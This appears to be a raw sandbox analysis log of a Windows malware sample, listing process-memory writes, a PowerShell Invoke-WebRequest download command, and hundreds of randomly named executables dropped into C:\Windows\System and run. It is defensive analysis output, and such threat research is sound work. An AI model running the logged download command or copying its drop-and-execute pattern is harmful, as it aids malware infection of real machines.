PID 1992 wrote to memory of 2200	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	46
PID 1992 wrote to memory of 2200	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	46
PID 1992 wrote to memory of 2200	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	46
PID 1992 wrote to memory of 1524	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	47
PID 1992 wrote to memory of 1524	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	47
PID 1992 wrote to memory of 1524	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	47
PID 1992 wrote to memory of 2368	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	48
PID 1992 wrote to memory of 2368	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	48
PID 1992 wrote to memory of 2368	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	48
PID 1992 wrote to memory of 1584	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	49
PID 1992 wrote to memory of 1584	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	49
PID 1992 wrote to memory of 1584	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	49
PID 1992 wrote to memory of 2656	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System\gtzvZMZ.exe
  C:\Windows\System\gtzvZMZ.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\KtvgAoM.exe
  C:\Windows\System\KtvgAoM.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\jimCjRi.exe
  C:\Windows\System\jimCjRi.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\MPynzTa.exe
  C:\Windows\System\MPynzTa.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Windows\System\nSoRsiR.exe
  C:\Windows\System\nSoRsiR.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\PHycLrT.exe
  C:\Windows\System\PHycLrT.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System\SUpcedU.exe
  C:\Windows\System\SUpcedU.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\HjSNiDM.exe
  C:\Windows\System\HjSNiDM.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\INeqCHl.exe
  C:\Windows\System\INeqCHl.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\vsOsHdg.exe
  C:\Windows\System\vsOsHdg.exe
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Windows\System\TZMhZNH.exe
  C:\Windows\System\TZMhZNH.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\CusBfHO.exe
  C:\Windows\System\CusBfHO.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\sTmuhxM.exe
  C:\Windows\System\sTmuhxM.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\GjtJVcE.exe
  C:\Windows\System\GjtJVcE.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\CojlXmD.exe
  C:\Windows\System\CojlXmD.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\AjdveUL.exe
  C:\Windows\System\AjdveUL.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\bsGGJuL.exe
  C:\Windows\System\bsGGJuL.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\rAThIeU.exe
  C:\Windows\System\rAThIeU.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\uMwwQCZ.exe
  C:\Windows\System\uMwwQCZ.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\ashFrWu.exe
  C:\Windows\System\ashFrWu.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\RhPBEfo.exe
  C:\Windows\System\RhPBEfo.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\oDyNGzd.exe
  C:\Windows\System\oDyNGzd.exe
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Windows\System\ZQdAwFj.exe
  C:\Windows\System\ZQdAwFj.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\jmRvhEg.exe
  C:\Windows\System\jmRvhEg.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\zLBHWue.exe
  C:\Windows\System\zLBHWue.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\lYpStcP.exe
  C:\Windows\System\lYpStcP.exe
  2⤵
  - Executes dropped EXE
  PID:380
- C:\Windows\System\wMwlPxO.exe
  C:\Windows\System\wMwlPxO.exe
  2⤵
  - Executes dropped EXE
  PID:812
- C:\Windows\System\dLQYhvt.exe
  C:\Windows\System\dLQYhvt.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\hyImIXU.exe
  C:\Windows\System\hyImIXU.exe
  2⤵
  - Executes dropped EXE
  PID:920
- C:\Windows\System\WUvMQwv.exe
  C:\Windows\System\WUvMQwv.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\VioptEd.exe
  C:\Windows\System\VioptEd.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\ybSbPQk.exe
  C:\Windows\System\ybSbPQk.exe
  2⤵
  PID:1496
- C:\Windows\System\giBdeSU.exe
  C:\Windows\System\giBdeSU.exe
  2⤵
  - Executes dropped EXE
  PID:984
- C:\Windows\System\RdmqipF.exe
  C:\Windows\System\RdmqipF.exe
  2⤵
  PID:1804
- C:\Windows\System\WoxJJja.exe
  C:\Windows\System\WoxJJja.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\HjUikTV.exe
  C:\Windows\System\HjUikTV.exe
  2⤵
  PID:784
- C:\Windows\System\nbLymLl.exe
  C:\Windows\System\nbLymLl.exe
  2⤵
  - Executes dropped EXE
  PID:820
- C:\Windows\System\LdOXVdx.exe
  C:\Windows\System\LdOXVdx.exe
  2⤵
  PID:284
- C:\Windows\System\BJsnakt.exe
  C:\Windows\System\BJsnakt.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\OQFlXNY.exe
  C:\Windows\System\OQFlXNY.exe
  2⤵
  PID:716
- C:\Windows\System\nnEaaYm.exe
  C:\Windows\System\nnEaaYm.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\RfzPLxL.exe
  C:\Windows\System\RfzPLxL.exe
  2⤵
  PID:2480
- C:\Windows\System\rCBdDOJ.exe
  C:\Windows\System\rCBdDOJ.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\uMTpNGB.exe
  C:\Windows\System\uMTpNGB.exe
  2⤵
  PID:1728
- C:\Windows\System\wlrguum.exe
  C:\Windows\System\wlrguum.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\LoxkuUI.exe
  C:\Windows\System\LoxkuUI.exe
  2⤵
  PID:2080
- C:\Windows\System\mkclgib.exe
  C:\Windows\System\mkclgib.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\yxkMVrv.exe
  C:\Windows\System\yxkMVrv.exe
  2⤵
  PID:1748
- C:\Windows\System\yNxxSga.exe
  C:\Windows\System\yNxxSga.exe
  2⤵
  - Executes dropped EXE
  PID:1444
- C:\Windows\System\qLSOInU.exe
  C:\Windows\System\qLSOInU.exe
  2⤵
  PID:900
- C:\Windows\System\WzUYoSy.exe
  C:\Windows\System\WzUYoSy.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\NadCdrn.exe
  C:\Windows\System\NadCdrn.exe
  2⤵
  PID:2816
- C:\Windows\System\kMiTUST.exe
  C:\Windows\System\kMiTUST.exe
  2⤵
  - Executes dropped EXE
  PID:896
- C:\Windows\System\CFXdQts.exe
  C:\Windows\System\CFXdQts.exe
  2⤵
  PID:1540
- C:\Windows\System\YPqmlvU.exe
  C:\Windows\System\YPqmlvU.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\GIUXnvk.exe
  C:\Windows\System\GIUXnvk.exe
  2⤵
  PID:2544
- C:\Windows\System\DlDmxAJ.exe
  C:\Windows\System\DlDmxAJ.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\xDNWxZX.exe
  C:\Windows\System\xDNWxZX.exe
  2⤵
  PID:2660
- C:\Windows\System\AOwdEnj.exe
  C:\Windows\System\AOwdEnj.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Windows\System\aVqpmfu.exe
  C:\Windows\System\aVqpmfu.exe
  2⤵
  PID:2568
- C:\Windows\System\ljBsOEs.exe
  C:\Windows\System\ljBsOEs.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\bnsTBqw.exe
  C:\Windows\System\bnsTBqw.exe
  2⤵
  PID:2832
- C:\Windows\System\jSOWCYC.exe
  C:\Windows\System\jSOWCYC.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\bbICGsi.exe
  C:\Windows\System\bbICGsi.exe
  2⤵
  PID:1052
- C:\Windows\System\vnxigdU.exe
  C:\Windows\System\vnxigdU.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\BpDgJrN.exe
  C:\Windows\System\BpDgJrN.exe
  2⤵
  PID:2324
- C:\Windows\System\mjZFafC.exe
  C:\Windows\System\mjZFafC.exe
  2⤵
  - Executes dropped EXE
  PID:1724
- C:\Windows\System\JkUsqwS.exe
  C:\Windows\System\JkUsqwS.exe
  2⤵
  PID:2304
- C:\Windows\System\HlfXwJU.exe
  C:\Windows\System\HlfXwJU.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\ZrlSIce.exe
  C:\Windows\System\ZrlSIce.exe
  2⤵
  PID:2184
- C:\Windows\System\WFaQmnS.exe
  C:\Windows\System\WFaQmnS.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\wRbfuzt.exe
  C:\Windows\System\wRbfuzt.exe
  2⤵
  PID:1600
- C:\Windows\System\RXykAws.exe
  C:\Windows\System\RXykAws.exe
  2⤵
  - Executes dropped EXE
  PID:1280
- C:\Windows\System\dfTscbq.exe
  C:\Windows\System\dfTscbq.exe
  2⤵
  PID:3056
- C:\Windows\System\kkgrDsO.exe
  C:\Windows\System\kkgrDsO.exe
  2⤵
  - Executes dropped EXE
  PID:1220
- C:\Windows\System\QFLfEFf.exe
  C:\Windows\System\QFLfEFf.exe
  2⤵
  PID:1332
- C:\Windows\System\xvtaXBP.exe
  C:\Windows\System\xvtaXBP.exe
  2⤵
  - Executes dropped EXE
  PID:240
- C:\Windows\System\gCENIpH.exe
  C:\Windows\System\gCENIpH.exe
  2⤵
  PID:932
- C:\Windows\System\GXzXQmT.exe
  C:\Windows\System\GXzXQmT.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\FcVPscj.exe
  C:\Windows\System\FcVPscj.exe
  2⤵
  PID:924
- C:\Windows\System\BoQOuMo.exe
  C:\Windows\System\BoQOuMo.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\AuNFWjW.exe
  C:\Windows\System\AuNFWjW.exe
  2⤵
  PID:2476
- C:\Windows\System\JqcOtQA.exe
  C:\Windows\System\JqcOtQA.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\NFyNWHz.exe
  C:\Windows\System\NFyNWHz.exe
  2⤵
  PID:1984
- C:\Windows\System\iNoqsjf.exe
  C:\Windows\System\iNoqsjf.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\RJNbNOq.exe
  C:\Windows\System\RJNbNOq.exe
  2⤵
  PID:2392
- C:\Windows\System\OgWJfXs.exe
  C:\Windows\System\OgWJfXs.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\SLYauvj.exe
  C:\Windows\System\SLYauvj.exe
  2⤵
  PID:2176
- C:\Windows\System\kzOTTGc.exe
  C:\Windows\System\kzOTTGc.exe
  2⤵
  - Executes dropped EXE
  PID:1784
- C:\Windows\System\aqdFACy.exe
  C:\Windows\System\aqdFACy.exe
  2⤵
  PID:1688
- C:\Windows\System\FCfxzPA.exe
  C:\Windows\System\FCfxzPA.exe
  2⤵
  - Executes dropped EXE
  PID:300
- C:\Windows\System\XghHZAl.exe
  C:\Windows\System\XghHZAl.exe
  2⤵
  PID:1948
- C:\Windows\System\skNTDxL.exe
  C:\Windows\System\skNTDxL.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\pFrZOYV.exe
  C:\Windows\System\pFrZOYV.exe
  2⤵
  PID:3080
- C:\Windows\System\sCgXcuY.exe
  C:\Windows\System\sCgXcuY.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Windows\System\ZWTDsNL.exe
  C:\Windows\System\ZWTDsNL.exe
  2⤵
  PID:3112
- C:\Windows\System\gRljbhN.exe
  C:\Windows\System\gRljbhN.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\yXQmPWp.exe
  C:\Windows\System\yXQmPWp.exe
  2⤵
  PID:3144
- C:\Windows\System\vfPtfAh.exe
  C:\Windows\System\vfPtfAh.exe
  2⤵
  PID:3160
- C:\Windows\System\tKYvcuF.exe
  C:\Windows\System\tKYvcuF.exe
  2⤵
  PID:3176
- C:\Windows\System\TiTiTDO.exe
  C:\Windows\System\TiTiTDO.exe
  2⤵
  PID:3192
- C:\Windows\System\tmetpUf.exe
  C:\Windows\System\tmetpUf.exe
  2⤵
  PID:3208
- C:\Windows\System\NdxoCmv.exe
  C:\Windows\System\NdxoCmv.exe
  2⤵
  PID:3224
- C:\Windows\System\JMNcrRN.exe
  C:\Windows\System\JMNcrRN.exe
  2⤵
  PID:3240
- C:\Windows\System\egUCYxK.exe
  C:\Windows\System\egUCYxK.exe
  2⤵
  PID:3256
- C:\Windows\System\TaQbNrq.exe
  C:\Windows\System\TaQbNrq.exe
  2⤵
  PID:3272
- C:\Windows\System\JJaVmuK.exe
  C:\Windows\System\JJaVmuK.exe
  2⤵
  PID:3288
- C:\Windows\System\cNKgKgG.exe
  C:\Windows\System\cNKgKgG.exe
  2⤵
  PID:3304
- C:\Windows\System\UqwcwJT.exe
  C:\Windows\System\UqwcwJT.exe
  2⤵
  PID:3320
- C:\Windows\System\YdAidQc.exe
  C:\Windows\System\YdAidQc.exe
  2⤵
  PID:3336
- C:\Windows\System\nfmyLAC.exe
  C:\Windows\System\nfmyLAC.exe
  2⤵
  PID:3532
- C:\Windows\System\neAOMYz.exe
  C:\Windows\System\neAOMYz.exe
  2⤵
  PID:3732
- C:\Windows\System\FxINVoR.exe
  C:\Windows\System\FxINVoR.exe
  2⤵
  PID:3748
- C:\Windows\System\JTOvlip.exe
  C:\Windows\System\JTOvlip.exe
  2⤵
  PID:3768
- C:\Windows\System\rLTuAyw.exe
  C:\Windows\System\rLTuAyw.exe
  2⤵
  PID:3792
- C:\Windows\System\FjzSCmm.exe
  C:\Windows\System\FjzSCmm.exe
  2⤵
  PID:3816
- C:\Windows\System\BsPrkPs.exe
  C:\Windows\System\BsPrkPs.exe
  2⤵
  PID:3832
- C:\Windows\System\oXXzZCr.exe
  C:\Windows\System\oXXzZCr.exe
  2⤵
  PID:3856
- C:\Windows\System\kiXZEgi.exe
  C:\Windows\System\kiXZEgi.exe
  2⤵
  PID:3872
- C:\Windows\System\bCqebJq.exe
  C:\Windows\System\bCqebJq.exe
  2⤵
  PID:3896
- C:\Windows\System\foTDiHM.exe
  C:\Windows\System\foTDiHM.exe
  2⤵
  PID:3912
- C:\Windows\System\ehlTNvk.exe
  C:\Windows\System\ehlTNvk.exe
  2⤵
  PID:3932
- C:\Windows\System\IrYLBud.exe
  C:\Windows\System\IrYLBud.exe
  2⤵
  PID:3956
- C:\Windows\System\IljmbUT.exe
  C:\Windows\System\IljmbUT.exe
  2⤵
  PID:3976
- C:\Windows\System\qDoksdn.exe
  C:\Windows\System\qDoksdn.exe
  2⤵
  PID:3992
- C:\Windows\System\lvkGrFW.exe
  C:\Windows\System\lvkGrFW.exe
  2⤵
  PID:4016
- C:\Windows\System\grkTnAT.exe
  C:\Windows\System\grkTnAT.exe
  2⤵
  PID:4032
- C:\Windows\System\mFevNza.exe
  C:\Windows\System\mFevNza.exe
  2⤵
  PID:4056
- C:\Windows\System\APjoMJg.exe
  C:\Windows\System\APjoMJg.exe
  2⤵
  PID:4072
- C:\Windows\System\whXgIum.exe
  C:\Windows\System\whXgIum.exe
  2⤵
  PID:2720
- C:\Windows\System\ptKhHux.exe
  C:\Windows\System\ptKhHux.exe
  2⤵
  PID:3076
- C:\Windows\System\MQOccIs.exe
  C:\Windows\System\MQOccIs.exe
  2⤵
  PID:3172
- C:\Windows\System\vMDlGmb.exe
  C:\Windows\System\vMDlGmb.exe
  2⤵
  PID:3236
- C:\Windows\System\NhqLWNu.exe
  C:\Windows\System\NhqLWNu.exe
  2⤵
  PID:3296
- C:\Windows\System\xgSDuVR.exe
  C:\Windows\System\xgSDuVR.exe
  2⤵
  PID:2516
- C:\Windows\System\tbhCdGO.exe
  C:\Windows\System\tbhCdGO.exe
  2⤵
  PID:1200
- C:\Windows\System\LCBImwN.exe
  C:\Windows\System\LCBImwN.exe
  2⤵
  PID:2912
- C:\Windows\System\XrICfGu.exe
  C:\Windows\System\XrICfGu.exe
  2⤵
  PID:2320
- C:\Windows\System\RqZGAZZ.exe
  C:\Windows\System\RqZGAZZ.exe
  2⤵
  PID:1792
- C:\Windows\System\tRiMRDC.exe
  C:\Windows\System\tRiMRDC.exe
  2⤵
  PID:3552
- C:\Windows\System\ruEqAGg.exe
  C:\Windows\System\ruEqAGg.exe
  2⤵
  PID:3568
- C:\Windows\System\EGfvzEn.exe
  C:\Windows\System\EGfvzEn.exe
  2⤵
  PID:3584
- C:\Windows\System\gXrnJFw.exe
  C:\Windows\System\gXrnJFw.exe
  2⤵
  PID:3596
- C:\Windows\System\DRVaomh.exe
  C:\Windows\System\DRVaomh.exe
  2⤵
  PID:3608
- C:\Windows\System\qhZNTzV.exe
  C:\Windows\System\qhZNTzV.exe
  2⤵
  PID:3624
- C:\Windows\System\FzTzFVP.exe
  C:\Windows\System\FzTzFVP.exe
  2⤵
  PID:3120
- C:\Windows\System\cnppxEC.exe
  C:\Windows\System\cnppxEC.exe
  2⤵
  PID:3652
- C:\Windows\System\eApMxLV.exe
  C:\Windows\System\eApMxLV.exe
  2⤵
  PID:3672
- C:\Windows\System\nxxlxhq.exe
  C:\Windows\System\nxxlxhq.exe
  2⤵
  PID:1920
- C:\Windows\System\sgqRdRM.exe
  C:\Windows\System\sgqRdRM.exe
  2⤵
  PID:3680
- C:\Windows\System\RpzKvIy.exe
  C:\Windows\System\RpzKvIy.exe
  2⤵
  PID:876
- C:\Windows\System\xuhrNIM.exe
  C:\Windows\System\xuhrNIM.exe
  2⤵
  PID:2500
- C:\Windows\System\PkmFoYM.exe
  C:\Windows\System\PkmFoYM.exe
  2⤵
  PID:3432
- C:\Windows\System\vlKNRFJ.exe
  C:\Windows\System\vlKNRFJ.exe
  2⤵
  PID:3452
- C:\Windows\System\VnUWRjc.exe
  C:\Windows\System\VnUWRjc.exe
  2⤵
  PID:3472
- C:\Windows\System\AzACqxf.exe
  C:\Windows\System\AzACqxf.exe
  2⤵
  PID:3492
- C:\Windows\System\zgrUEod.exe
  C:\Windows\System\zgrUEod.exe
  2⤵
  PID:3512
- C:\Windows\System\OYeWoSM.exe
  C:\Windows\System\OYeWoSM.exe
  2⤵
  PID:3068
- C:\Windows\System\SkzfPXU.exe
  C:\Windows\System\SkzfPXU.exe
  2⤵
  PID:3528
- C:\Windows\System\rQVbwAV.exe
  C:\Windows\System\rQVbwAV.exe
  2⤵
  PID:1008
- C:\Windows\System\KVcwlPn.exe
  C:\Windows\System\KVcwlPn.exe
  2⤵
  PID:1756
- C:\Windows\System\TwrOhUJ.exe
  C:\Windows\System\TwrOhUJ.exe
  2⤵
  PID:2540
- C:\Windows\System\cnvJfeQ.exe
  C:\Windows\System\cnvJfeQ.exe
  2⤵
  PID:2452
- C:\Windows\System\WezqesB.exe
  C:\Windows\System\WezqesB.exe
  2⤵
  PID:1376
- C:\Windows\System\bVIDCxq.exe
  C:\Windows\System\bVIDCxq.exe
  2⤵
  PID:2148
- C:\Windows\System\mBZNYDW.exe
  C:\Windows\System\mBZNYDW.exe
  2⤵
  PID:1508
- C:\Windows\System\OHMtyAG.exe
  C:\Windows\System\OHMtyAG.exe
  2⤵
  PID:1056
- C:\Windows\System\VQhjsWx.exe
  C:\Windows\System\VQhjsWx.exe
  2⤵
  PID:852
- C:\Windows\System\cZWQGkn.exe
  C:\Windows\System\cZWQGkn.exe
  2⤵
  PID:3152
- C:\Windows\System\dtqCmco.exe
  C:\Windows\System\dtqCmco.exe
  2⤵
  PID:3248
- C:\Windows\System\KzIGUwa.exe
  C:\Windows\System\KzIGUwa.exe
  2⤵
  PID:3312
- C:\Windows\System\jYgiUaF.exe
  C:\Windows\System\jYgiUaF.exe
  2⤵
  PID:3364
- C:\Windows\System\rTKAzwA.exe
  C:\Windows\System\rTKAzwA.exe
  2⤵
  PID:3380
- C:\Windows\System\UpVKEHs.exe
  C:\Windows\System\UpVKEHs.exe
  2⤵
  PID:3400
- C:\Windows\System\GtbBmue.exe
  C:\Windows\System\GtbBmue.exe
  2⤵
  PID:3420
- C:\Windows\System\JjJgdCD.exe
  C:\Windows\System\JjJgdCD.exe
  2⤵
  PID:2624
- C:\Windows\System\nTzaVMl.exe
  C:\Windows\System\nTzaVMl.exe
  2⤵
  PID:3756
- C:\Windows\System\QWQYIPm.exe
  C:\Windows\System\QWQYIPm.exe
  2⤵
  PID:3760
- C:\Windows\System\MGTujNB.exe
  C:\Windows\System\MGTujNB.exe
  2⤵
  PID:3812
- C:\Windows\System\bDkovsT.exe
  C:\Windows\System\bDkovsT.exe
  2⤵
  PID:3848
- C:\Windows\System\SoFIHuQ.exe
  C:\Windows\System\SoFIHuQ.exe
  2⤵
  PID:3892
- C:\Windows\System\dQGsbng.exe
  C:\Windows\System\dQGsbng.exe
  2⤵
  PID:3924
- C:\Windows\System\eWLPrtw.exe
  C:\Windows\System\eWLPrtw.exe
  2⤵
  PID:3904
- C:\Windows\System\lrNLFAD.exe
  C:\Windows\System\lrNLFAD.exe
  2⤵
  PID:3968
- C:\Windows\System\xEHPfux.exe
  C:\Windows\System\xEHPfux.exe
  2⤵
  PID:3984
- C:\Windows\System\IwuFfzI.exe
  C:\Windows\System\IwuFfzI.exe
  2⤵
  PID:4052
- C:\Windows\System\wEhyRnb.exe
  C:\Windows\System\wEhyRnb.exe
  2⤵
  PID:4092
- C:\Windows\System\EGWOTEl.exe
  C:\Windows\System\EGWOTEl.exe
  2⤵
  PID:4068
- C:\Windows\System\nNgeJXR.exe
  C:\Windows\System\nNgeJXR.exe
  2⤵
  PID:604
- C:\Windows\System\BVikpbu.exe
  C:\Windows\System\BVikpbu.exe
  2⤵
  PID:2296
- C:\Windows\System\GdtTwEJ.exe
  C:\Windows\System\GdtTwEJ.exe
  2⤵
  PID:2896
- C:\Windows\System\JqYedna.exe
  C:\Windows\System\JqYedna.exe
  2⤵
  PID:2108
- C:\Windows\System\LkkEHZg.exe
  C:\Windows\System\LkkEHZg.exe
  2⤵
  PID:3544
- C:\Windows\System\EMNsFoJ.exe
  C:\Windows\System\EMNsFoJ.exe
  2⤵
  PID:2144
- C:\Windows\System\wFIxPTH.exe
  C:\Windows\System\wFIxPTH.exe
  2⤵
  PID:2856
- C:\Windows\System\WZvfABL.exe
  C:\Windows\System\WZvfABL.exe
  2⤵
  PID:3592
- C:\Windows\System\DKEUKcZ.exe
  C:\Windows\System\DKEUKcZ.exe
  2⤵
  PID:2204
- C:\Windows\System\TlTWoiX.exe
  C:\Windows\System\TlTWoiX.exe
  2⤵
  PID:3612
- C:\Windows\System\udphfnA.exe
  C:\Windows\System\udphfnA.exe
  2⤵
  PID:1636
- C:\Windows\System\zwRqJRG.exe
  C:\Windows\System\zwRqJRG.exe
  2⤵
  PID:1740
- C:\Windows\System\EqYkYfX.exe
  C:\Windows\System\EqYkYfX.exe
  2⤵
  PID:1876
- C:\Windows\System\aOHIpIm.exe
  C:\Windows\System\aOHIpIm.exe
  2⤵
  PID:1608
- C:\Windows\System\TcXdDzj.exe
  C:\Windows\System\TcXdDzj.exe
  2⤵
  PID:3424
- C:\Windows\System\rbQHKhd.exe
  C:\Windows\System\rbQHKhd.exe
  2⤵
  PID:2760
- C:\Windows\System\ccJKSEp.exe
  C:\Windows\System\ccJKSEp.exe
  2⤵
  PID:2164
- C:\Windows\System\jwYFfYQ.exe
  C:\Windows\System\jwYFfYQ.exe
  2⤵
  PID:2728
- C:\Windows\System\YJRZapb.exe
  C:\Windows\System\YJRZapb.exe
  2⤵
  PID:1988
- C:\Windows\System\kOrnSpu.exe
  C:\Windows\System\kOrnSpu.exe
  2⤵
  PID:2960
- C:\Windows\System\QnuCBNI.exe
  C:\Windows\System\QnuCBNI.exe
  2⤵
  PID:2836
- C:\Windows\System\uEncLlD.exe
  C:\Windows\System\uEncLlD.exe
  2⤵
  PID:1488
- C:\Windows\System\MLfQOFb.exe
  C:\Windows\System\MLfQOFb.exe
  2⤵
  PID:3220
- C:\Windows\System\BUUJcQI.exe
  C:\Windows\System\BUUJcQI.exe
  2⤵
  PID:1672
- C:\Windows\System\kEMghBX.exe
  C:\Windows\System\kEMghBX.exe
  2⤵
  PID:3392
- C:\Windows\System\OxzBIYQ.exe
  C:\Windows\System\OxzBIYQ.exe
  2⤵
  PID:1012
- C:\Windows\System\ekTVSAh.exe
  C:\Windows\System\ekTVSAh.exe
  2⤵
  PID:3092
- C:\Windows\System\FOuvWut.exe
  C:\Windows\System\FOuvWut.exe
  2⤵
  PID:3744
- C:\Windows\System\kfpCyLN.exe
  C:\Windows\System\kfpCyLN.exe
  2⤵
  PID:3368
- C:\Windows\System\cOXhMVe.exe
  C:\Windows\System\cOXhMVe.exe
  2⤵
  PID:3944
- C:\Windows\System\CAhQJNP.exe
  C:\Windows\System\CAhQJNP.exe
  2⤵
  PID:3972
- C:\Windows\System\nrPLapd.exe
  C:\Windows\System\nrPLapd.exe
  2⤵
  PID:3048
- C:\Windows\System\vZpGrZy.exe
  C:\Windows\System\vZpGrZy.exe
  2⤵
  PID:2196
- C:\Windows\System\FcoJzdB.exe
  C:\Windows\System\FcoJzdB.exe
  2⤵
  PID:4012
- C:\Windows\System\xDqKOJU.exe
  C:\Windows\System\xDqKOJU.exe
  2⤵
  PID:1652
- C:\Windows\System\iBYXxta.exe
  C:\Windows\System\iBYXxta.exe
  2⤵
  PID:4044
- C:\Windows\System\KTGUGRD.exe
  C:\Windows\System\KTGUGRD.exe
  2⤵
  PID:3868
- C:\Windows\System\xhorlIh.exe
  C:\Windows\System\xhorlIh.exe
  2⤵
  PID:3580
- C:\Windows\System\pdbNuhh.exe
  C:\Windows\System\pdbNuhh.exe
  2⤵
  PID:1504
- C:\Windows\System\QwCkPqe.exe
  C:\Windows\System\QwCkPqe.exe
  2⤵
  PID:3448
- C:\Windows\System\HHpsjMq.exe
  C:\Windows\System\HHpsjMq.exe
  2⤵
  PID:3676
- C:\Windows\System\xRXrUem.exe
  C:\Windows\System\xRXrUem.exe
  2⤵
  PID:2092
- C:\Windows\System\mKrbTFz.exe
  C:\Windows\System\mKrbTFz.exe
  2⤵
  PID:2396
- C:\Windows\System\gjnDAVt.exe
  C:\Windows\System\gjnDAVt.exe
  2⤵
  PID:3636
- C:\Windows\System\XxoxowB.exe
  C:\Windows\System\XxoxowB.exe
  2⤵
  PID:3700
- C:\Windows\System\AQhXYWF.exe
  C:\Windows\System\AQhXYWF.exe
  2⤵
  PID:648
- C:\Windows\System\ItvzsLO.exe
  C:\Windows\System\ItvzsLO.exe
  2⤵
  PID:1536
- C:\Windows\System\VJqPJDB.exe
  C:\Windows\System\VJqPJDB.exe
  2⤵
  PID:3388
- C:\Windows\System\ufxhFOg.exe
  C:\Windows\System\ufxhFOg.exe
  2⤵
  PID:3500
- C:\Windows\System\JhWYXqC.exe
  C:\Windows\System\JhWYXqC.exe
  2⤵
  PID:3920
- C:\Windows\System\ffYTVDL.exe
  C:\Windows\System\ffYTVDL.exe
  2⤵
  PID:3724
- C:\Windows\System\ivvvcWm.exe
  C:\Windows\System\ivvvcWm.exe
  2⤵
  PID:2924
- C:\Windows\System\KStOsoL.exe
  C:\Windows\System\KStOsoL.exe
  2⤵
  PID:3408
- C:\Windows\System\EpCHExi.exe
  C:\Windows\System\EpCHExi.exe
